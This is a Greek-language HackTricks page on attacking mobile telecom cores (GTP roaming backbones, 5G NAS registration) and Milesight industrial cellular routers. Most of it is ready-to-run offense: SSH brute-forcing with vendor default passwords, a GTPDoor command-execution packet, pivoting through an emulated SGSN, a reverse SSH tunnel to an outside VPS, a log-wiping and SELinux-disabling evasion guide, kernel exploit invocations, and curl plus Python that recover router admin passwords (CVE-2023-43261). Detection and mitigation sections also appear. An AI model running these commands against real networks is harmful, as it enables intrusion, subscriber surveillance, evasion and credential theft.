Εκμετάλλευση Δικτύων Τηλεπικοινωνιών (GTP / Roaming Environments)

Reading time: 13 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

note

Τα πρωτόκολλα του mobile-core (GPRS Tunnelling Protocol – GTP) συχνά διασχίζουν ημι‑έμπιστα GRX/IPX roaming backbones. Επειδή κινούνται πάνω από απλό UDP με σχεδόν καθόλου έλεγχο ταυτότητας, οποιοδήποτε foothold εντός του περιμέτρου τηλεπικοινωνιών συνήθως μπορεί να φτάσει απευθείας τα core signalling planes. Οι παρακάτω σημειώσεις συλλέγουν επιθετικά κόλπα που παρατηρήθηκαν σε πραγματικές συνθήκες εναντίον των SGSN/GGSN, PGW/SGW και άλλων κόμβων EPC.

1. Recon & Initial Access

1.1 Προεπιλεγμένοι λογαριασμοί OSS / NE

Ένας εκπληκτικά μεγάλος αριθμός στοιχείων δικτύου προμηθευτών παραδίδεται με hard-coded SSH/Telnet χρήστες όπως root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Ένα αφιερωμένο wordlist αυξάνει δραματικά την επιτυχία brute-force:

bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

If the device exposes only a management VRF, pivot through a jump host first (see section «SGSN Emu Tunnel» below).

1.2 Host Discovery εντός GRX/IPX

Οι περισσότεροι πάροχοι GRX εξακολουθούν να επιτρέπουν ICMP echo σε όλη τη ραχοκοκαλιά. Συνδυάστε masscan με τις ενσωματωμένες gtpv1 UDP probes για γρήγορη χαρτογράφηση των GTP-C listeners:

bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Εντοπισμός Συνδρομητών – cordscan

Το παρακάτω εργαλείο Go κατασκευάζει πακέτα GTP-C Create PDP Context Request και καταγράφει τις απαντήσεις. Κάθε απάντηση αποκαλύπτει το τρέχον SGSN / MME που εξυπηρετεί το ερωτηθέν IMSI και, μερικές φορές, το επισκεφθέν PLMN του συνδρομητή.

bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Βασικές σημαίες:

  • --imsi IMSI του στοχευόμενου συνδρομητή
  • --oper Home / HNI (MCC+MNC)
  • -w Εγγραφή ακατέργαστων πακέτων σε pcap

Σημαντικές σταθερές μέσα στο binary μπορούν να τροποποιηθούν για να διευρύνουν τις σαρώσεις:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Εκτέλεση κώδικα πάνω από GTP – GTPDoor

GTPDoor είναι μια μικρή υπηρεσία ELF που δεσμεύει UDP 2123 και αναλύει κάθε εισερχόμενο GTP-C πακέτο. Όταν το payload ξεκινά με ένα pre-shared tag, το υπόλοιπο αποκρυπτογραφείται (AES-128-CBC) και εκτελείται μέσω /bin/sh -c. Τα stdout/stderr exfiltrated μέσα σε μηνύματα Echo Response, έτσι ώστε να μην δημιουργείται ποτέ εξωτερική συνεδρία.

Ελάχιστο PoC packet (Python):

python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Ανίχνευση:

  • οποιοσδήποτε host που στέλνει unbalanced Echo Requests σε SGSN IPs
  • GTP version flag = 1 ενώ message type = 1 (Echo) — απόκλιση από τις προδιαγραφές

4. Pivoting Through the Core

4.1 sgsnemu + SOCKS5

OsmoGGSN περιλαμβάνει έναν SGSN emulator ικανό να establish a PDP context towards a real GGSN/PGW. Μόλις διαπραγματευτεί, το Linux λαμβάνει μια νέα διεπαφή tun0 προσβάσιμη από το roaming peer.

bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

With proper firewall hair-pinning, this tunnel bypasses signalling-only VLANs and lands you directly in the data plane.

4.2 SSH Reverse Tunnel over Port 53

Το DNS σχεδόν πάντα είναι ανοιχτό σε υποδομές roaming. Εκθέστε μια εσωτερική SSH υπηρεσία στο VPS σας που ακούει στη θύρα :53 και επιστρέψτε αργότερα από το σπίτι:

bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Ελέγξτε ότι GatewayPorts yes είναι ενεργοποιημένο στο VPS.

5. Κρυφοί Δίαυλοι

ΚανάλιΜεταφοράΑποκωδικοποίησηΣημειώσεις
ICMP – EchoBackdoorICMP Echo Req/Rep4-byte key + 14-byte chunks (XOR)απολύτως παθητικός listener, χωρίς εξερχόμενη κίνηση
DNS – NoDepDNSUDP 53XOR (key = funnyAndHappy) κωδικοποιημένο στα A-record octetsπαρακολουθεί για *.nodep sub-domain
GTP – GTPDoorUDP 2123AES-128-CBC blob σε private IEαναμειγνύεται με νόμιμη GTP-C κίνηση

Όλα τα implants υλοποιούν watchdogs που timestomp τα binaries τους και re-spawn αν καταρρεύσουν.

6. Συνοπτικός Οδηγός Αποφυγής Ανίχνευσης

bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Ανύψωση προνομίων σε Legacy NE

bash
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

Συμβουλή καθαρισμού:

bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Εργαλειοθήκη

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – προσαρμοσμένα εργαλεία που περιγράφονται σε προηγούμενες ενότητες.
  • FScan : σάρωση TCP ενδοδικτύου (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : ελαφρύ SOCKS5 pivoting
  • FRP (≥0.37) : διέλευση NAT / γέφυρα πόρων

9. Επιθέσεις Εγγραφής 5G NAS: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

Η διαδικασία εγγραφής 5G τρέχει πάνω από NAS (Non-Access Stratum) επάνω σε NGAP. Μέχρι να ενεργοποιηθεί το NAS security μέσω Security Mode Command/Complete, τα αρχικά μηνύματα δεν είναι authenticated ούτε encrypted. Αυτό το παράθυρο πριν την ενεργοποίηση της ασφάλειας επιτρέπει πολλαπλές διαδρομές επίθεσης όταν μπορείτε να παρατηρήσετε ή να τροποποιήσετε την κίνηση N2 (π.χ. on-path μέσα στο core, rogue gNB, ή σε testbed).

Registration flow (simplified):

  • Registration Request: UE στέλνει SUCI (κρυπτογραφημένο SUPI) και capabilities.
  • Authentication: AMF/AUSF στέλνουν RAND/AUTN; το UE επιστρέφει RES*.
  • Security Mode Command/Complete: διαπραγματεύονται και ενεργοποιούνται NAS integrity και ciphering.
  • PDU Session Establishment: ρύθμιση IP/QoS.

Συμβουλές για lab setup (non-RF):

  • Core: Open5GS default deployment είναι επαρκές για αναπαραγωγή των flows.
  • UE: simulator ή test UE; decode με Wireshark.
  • Active tooling: 5GReplay (capture/modify/replay NAS μέσα στο NGAP), Sni5Gect (sniff/patch/inject NAS on the fly χωρίς να σηκώσετε πλήρες rogue gNB).
  • Χρήσιμα display filters στο Wireshark:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Προστασία ταυτότητας: SUCI failures εκθέτουν SUPI/IMSI

Αναμενόμενο: UE/USIM πρέπει να μεταδίδει SUCI (SUPI κρυπτογραφημένο με το public key του home-network). Η εύρεση plaintext SUPI/IMSI στο Registration Request υποδεικνύει ελάττωμα ιδιωτικότητας που επιτρέπει επίμονη παρακολούθηση συνδρομητή.

Πώς να ελέγξετε:

  • Capture το πρώτο NAS μήνυμα στο InitialUEMessage και επιθεωρήστε το Mobile Identity IE.
  • Γρήγοροι έλεγχοι στο Wireshark:
  • Θα πρέπει να αποκωδικοποιείται ως SUCI, όχι IMSI.
  • Filter examples: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci θα πρέπει να υπάρχει; η απουσία σε συνδυασμό με την παρουσία του imsi υποδηλώνει leak.

Τι να συλλέξετε:

  • MCC/MNC/MSIN αν εκτίθενται; καταγράψτε ανά-UE και παρακολουθήστε στο χρόνο/τοποθεσίες.

Αντιμετώπιση:

  • Εφαρμόστε SUCI-only UEs/USIMs; ειδοποιείτε για οποιοδήποτε IMSI/SUPI σε αρχικό NAS.

9.2 Capability bidding-down to null algorithms (EEA0/EIA0)

Υπόβαθρο:

  • Το UE διαφημίζει τις υποστηριζόμενες EEA (encryption) και EIA (integrity) στο UE Security Capability IE του Registration Request.
  • Κοινές αντιστοιχίσεις: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 είναι null algorithms.

Πρόβλημα:

  • Επειδή το Registration Request δεν είναι integrity protected, ένας on-path attacker μπορεί να μηδενίσει bits δυνατοτήτων ώστε να εξαναγκάσει την επιλογή EEA0/EIA0 αργότερα κατά το Security Mode Command. Κάποια stacks λανθασμένα επιτρέπουν null algorithms εκτός emergency services.

Επιθετικά βήματα:

  • Intercept το InitialUEMessage και τροποποιήστε το NAS UE Security Capability ώστε να διαφημίζει μόνο EEA0/EIA0.
  • Με Sni5Gect, hook το NAS μήνυμα και patch τα capability bits πριν το προωθήσετε.
  • Παρατηρήστε αν το AMF αποδέχεται null ciphers/integrity και ολοκληρώνει το Security Mode με EEA0/EIA0.

Επαλήθευση/ορατότητα:

  • Στο Wireshark, επιβεβαιώστε τους επιλεγμένους αλγορίθμους μετά το Security Mode Command/Complete.
  • Παράδειγμα εξόδου παθητικού sniffer:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

Μέτρα μετριασμού (υποχρεωτικά):

  • Ρυθμίστε AMF/policy ώστε να απορρίπτει EEA0/EIA0 εκτός όπου απαιτείται αυστηρά (π.χ., κλήσεις έκτακτης ανάγκης).
  • Προτιμήστε την επιβολή EEA2/EIA2 ως ελάχιστο· καταγράψτε και ενεργοποιήστε συναγερμό για οποιοδήποτε NAS security context που διαπραγματεύεται null algorithms.

9.3 Αναπαραγωγή του αρχικού Registration Request (pre-security NAS)

Επειδή το αρχικό NAS δεν διαθέτει ακεραιότητα και φρεσκάδα, το καταγεγραμμένο InitialUEMessage+Registration Request μπορεί να αναπαραχθεί προς το AMF.

PoC rule for 5GReplay to forward matching replays:

xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

Τι να παρατηρήσετε:

  • Εάν το AMF αποδεχτεί το replay και προχωρήσει σε Authentication· η έλλειψη ελέγχου φρεσκάδας/πλαισίου υποδεικνύει έκθεση.

Mitigations:

  • Εφαρμόστε replay protection/context binding στο AMF· rate-limit και συσχετίστε ανά GNB/UE.

9.4 Tooling pointers (reproducible)

  • Open5GS: εκκινήστε ένα AMF/SMF/UPF για να μιμηθείτε τον core· παρατηρήστε N2 (NGAP) και NAS.
  • Wireshark: επαληθεύστε τις αποκωδικοποιήσεις NGAP/NAS· εφαρμόστε τα φίλτρα παραπάνω για να απομονώσετε Registration.
  • 5GReplay: καταγράψτε μια registration, στη συνέχεια replay συγκεκριμένα NGAP + NAS μηνύματα σύμφωνα με τον κανόνα.
  • Sni5Gect: live sniff/modify/inject NAS control-plane για να εξαναγκάσετε null algorithms ή να διαταράξετε authentication sequences.

9.5 Defensive checklist

  • Ελέγχετε συνεχώς το Registration Request για plaintext SUPI/IMSI· μπλοκάρετε τις παραβατικές συσκευές/USIMs.
  • Απορρίψτε EEA0/EIA0 εκτός από στενά ορισμένες διαδικασίες έκτακτης ανάγκης· απαιτείστε τουλάχιστον EEA2/EIA2.
  • Ανιχνεύστε rogue ή κακώς διαμορφωμένη υποδομή: unauthorized gNB/AMF, απροσδόκητοι N2 peers.
  • Ειδοποιήστε για NAS security modes που οδηγούν σε null algorithms ή σε συχνά replays του InitialUEMessage.

10. Industrial Cellular Routers – Κατάχρηση μη-επαληθευμένου SMS API (Milesight UR5X/UR32/UR35/UR41) και Ανάκτηση διαπιστευτηρίων (CVE-2023-43261)

Η κατάχρηση εκτεθειμένων web APIs βιομηχανικών cellular routers επιτρέπει stealthy, carrier-origin smishing σε μεγάλη κλίμακα. Οι Milesight UR-series routers εκθέτουν ένα JSON-RPC–style endpoint στο /cgi. Όταν είναι misconfigured, το API μπορεί να ερωτηθεί χωρίς authentication για να εμφανίσει το SMS inbox/outbox και, σε ορισμένες αναπτύξεις, να στείλει SMS.

Τυπικά unauthenticated requests (ίδια δομή για inbox/outbox):

http
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json

{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
json
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }

Οι απαντήσεις περιλαμβάνουν πεδία όπως timestamp, content, phone_number (E.164) και status (success or failed). Επαναλαμβανόμενες αποστολές failed στον ίδιο αριθμό συχνά αποτελούν για τους επιτιθέμενους “capability checks” για να επαληθεύσουν ότι ένας router/SIM μπορεί να παραδώσει πριν το blasting.

Παράδειγμα curl για να exfiltrate τα μεταδεδομένα SMS:

bash
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'

Σημειώσεις σχετικά με auth artifacts:

  • Μερική κίνηση μπορεί να περιλαμβάνει ένα auth cookie, αλλά μεγάλο μέρος των εκτεθειμένων συσκευών απαντά χωρίς καμία authentication σε query_inbox/query_outbox όταν η διεπαφή διαχείρισης είναι Internet-facing.
  • Σε περιβάλλοντα που απαιτούν auth, οι previously-leaked credentials (βλέπε παρακάτω) επαναφέρουν την πρόσβαση.

Credential recovery path – CVE-2023-43261:

  • Πληττόμενες οικογένειες: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
  • Πρόβλημα: τα web-served logs (π.χ., httpd.log) είναι προσβάσιμα χωρίς authentication κάτω από /lang/log/ και περιέχουν admin login events με τον password κρυπτογραφημένο χρησιμοποιώντας hardcoded AES key/IV που υπάρχει σε client-side JavaScript.
  • Πρακτική πρόσβαση και αποκρυπτογράφηση:
bash
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}

Ελάχιστο Python για την αποκρυπτογράφηση leaked passwords (AES-128-CBC, hardcoded key/IV):

python
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...'  # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())

Hunting and detection ideas (network):

  • Ειδοποίηση για μη αυθεντικοποιημένα POST /cgi των οποίων το JSON σώμα περιέχει base/function ρυθμισμένο σε query_inbox ή query_outbox.
  • Παρακολούθηση επαναλαμβανόμενων bursts POST /cgi που ακολουθούνται από καταχωρήσεις status":"failed" σε πολλούς μοναδικούς αριθμούς από την ίδια source IP (capability testing).
  • Inventory Internet-exposed Milesight routers; restrict management to VPN; disable SMS features unless required; upgrade to ≥ v35.3.0.7; rotate credentials and review SMS logs for unknown sends.

Shodan/OSINT pivots (examples seen in the wild):

  • http.html:"rt_title" matches Milesight router panels.
  • Google dorking for exposed logs: "/lang/log/system" ext:log.

Operational impact: using legitimate carrier SIMs inside routers gives very high SMS deliverability/credibility for phishing, while inbox/outbox exposure leaks sensitive metadata at scale.


Ιδέες Ανίχνευσης

  1. Οποιαδήποτε συσκευή εκτός από SGSN/GGSN που δημιουργεί Create PDP Context Requests.
  2. Μη-τυπικές θύρες (53, 80, 443) που λαμβάνουν SSH handshakes από εσωτερικές διευθύνσεις IP.
  3. Συχνά Echo Requests χωρίς αντίστοιχα Echo Responses – μπορεί να υποδεικνύουν GTPDoor beacons.
  4. Υψηλός ρυθμός ICMP echo-reply κίνησης με μεγάλα, μη μηδενικά identifier/sequence πεδία.
  5. 5G: InitialUEMessage που μεταφέρει NAS Registration Requests επαναλαμβανόμενα από τα ίδια endpoints (replay signal).
  6. 5G: NAS Security Mode που διαπραγματεύεται EEA0/EIA0 εκτός πλαισίων έκτακτης ανάγκης.

References

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks